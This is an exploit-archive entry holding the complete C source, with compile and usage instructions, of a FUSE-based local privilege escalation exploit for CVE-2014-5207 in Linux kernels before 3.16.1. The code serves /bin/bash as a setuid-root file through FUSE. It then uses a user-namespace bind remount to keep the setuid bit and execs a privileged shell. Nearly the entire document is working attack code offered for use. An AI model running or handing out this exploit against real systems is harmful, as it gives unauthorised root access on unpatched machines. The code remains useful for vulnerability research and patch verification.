Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation
/* FUSE-based exploit for CVE-2014-5207 Copyright (c) 2014 Andy Lutomirski Based on code that is: Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid mkdir test ./fuse_suid test This isn't a work of art: it doesn't clean up after itself very well. */ #define _GNU_SOURCE #define FUSE_USE_VERSION 26 #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <err.h> #include <sched.h> #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mount.h> #include <unistd.h> static const char *sh_path = "/sh"; static int sh_fd; static loff_t sh_size; static int hello_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if (strcmp(path, sh_path) == 0) { stbuf->st_mode = S_IFREG | 04755; stbuf->st_nlink = 1; stbuf->st_size = sh_size; } else res = -ENOENT; return res; } static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { (void) offset; (void) fi; if (strcmp(path, "/") != 0) return -ENOENT; filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, sh_path + 1, NULL, 0); return 0; } static int hello_open(const char *path, struct fuse_file_info *fi) { if (strcmp(path, sh_path) != 0) return -ENOENT; if ((fi->flags & 3) != O_RDONLY) return -EACCES; return 0; } static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { (void) fi; if (strcmp(path, sh_path) != 0) return -ENOENT; return pread(sh_fd, buf, size, offset); } static struct fuse_operations hello_oper = { .getattr = hello_getattr, .readdir = hello_readdir, .open = hello_open, .read = hello_read, }; static int evilfd = -1; static int child2(void *mnt_void) { const char *mountpoint = mnt_void; int fd2; if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) err(1, "unshare"); if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0) err(1, "mount"); fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY); if (fd2 == -1) err(1, "open"); if (dup3(fd2, evilfd, O_CLOEXEC) == -1) err(1, "dup3"); close(fd2); printf("Mount hackery seems to have worked.\n"); exit(0); } static int child1(const char *mountpoint) { char child2stack[2048]; char evil_path[1024]; evilfd = dup(0); if (evilfd == -1) err(1, "dup"); if (clone(child2, child2stack, CLONE_FILES | CLONE_VFORK, (void *)mountpoint) == -1) err(1, "clone"); printf("Here goes...\n"); sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd); execl(evil_path, "sh", "-p", NULL); perror(evil_path); return 1; } static int fuse_main_suid(int argc, char *argv[], const struct fuse_operations *op, void *user_data) { struct fuse *fuse; char *mountpoint; int multithreaded; int res; if (argc != 2) { printf("Usage: fuse_suid <mountpoint>\n"); return -EINVAL; } char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL}; fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args, op, sizeof(*op), &mountpoint, &multithreaded, user_data); if (fuse == NULL) return 1; printf("FUSE initialized. Time to have some fun...\n"); printf("Warning: this exploit hangs on exit. Hit Ctrl-C when done.\n"); if (fork() == 0) _exit(child1(mountpoint)); if (multithreaded) res = fuse_loop_mt(fuse); else res = fuse_loop(fuse); fuse_teardown(fuse, mountpoint); if (res == -1) return 1; return 0; } int main(int argc, char *argv[]) { sh_fd = open("/bin/bash", O_RDONLY); if (sh_fd == -1) err(1, "sh"); sh_size = lseek(sh_fd, 0, SEEK_END); return fuse_main_suid(argc, argv, &hello_oper, NULL); } |